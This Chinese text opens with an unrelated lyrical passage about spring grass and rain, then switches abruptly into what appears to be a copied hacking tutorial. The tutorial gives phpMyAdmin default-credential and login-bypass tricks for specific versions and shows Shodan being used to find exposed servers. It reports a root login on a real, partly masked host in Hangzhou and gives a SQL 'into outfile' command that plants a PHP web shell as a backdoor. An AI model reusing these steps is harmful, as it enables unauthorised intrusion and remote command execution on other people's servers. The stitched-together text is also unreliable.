你瞧，你绿油油的小草从土里钻了出来。嫩嫩的，它在饱受严冬的考验之后，在严冬它聚集着力量，想在春天到来时，将力量释放出来，它展示出了生命力的顽强，也展现出自己对春天的渴望！在万物最需要水的时候，春雨悄悄地轻轻地到来了。生怕踩到了这些顽强的小精西。春雨打在小草的脸上，轻轻地。小草贪婪的吮吸着春雨，一会儿，春风也来 "凑热闹 "了，春风来为柳树 "梳头 "来了，春风也轻轻地，怕自己的鲁莽把柳树的头发弄断了。
- 默认 phpMyAdmin：用户名 root 密码 root 或空登陆。
- 版本 2.11.3～2.11.4：用户名
'localhost'@'@"登陆，无需密码。 - 版本 2.11.9.2：用户名
root登陆，无需密码。
经测试，第二个漏洞在 phpMyAdmin 3.5.1 版本也是可行的。原理从略。
下面让我们简单的上网看看能不能找到一些存在这样漏洞的登陆页面。
祭出著名的漏洞搜索引擎 Shodan 并搜索 phpMyAdmin。
phpMyAdmin
先看看有没有不需要密码登陆的，逐一尝试没有后寻找名字中包含的版本号。这里我找到一个国内的（浙江省·杭州市）。
地址已手动打码。
http://121.***.*.219:80/
登陆成功（root 权限）。
接下来你可以写一个 outfile 到对方主机的网络目录下。俗称 “留后门”。
SELECT "<?php system($_GET[‘cmd']); ?>" into outfile "后门文件的绝对路径"
点击运行，不出意外便在对方主机留下了一个名为 runme.php 的后门文件。
总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作具有一定的参考学习价值，谢谢大家对的支持。如果你想了解更多相关内容请查看下面相关链接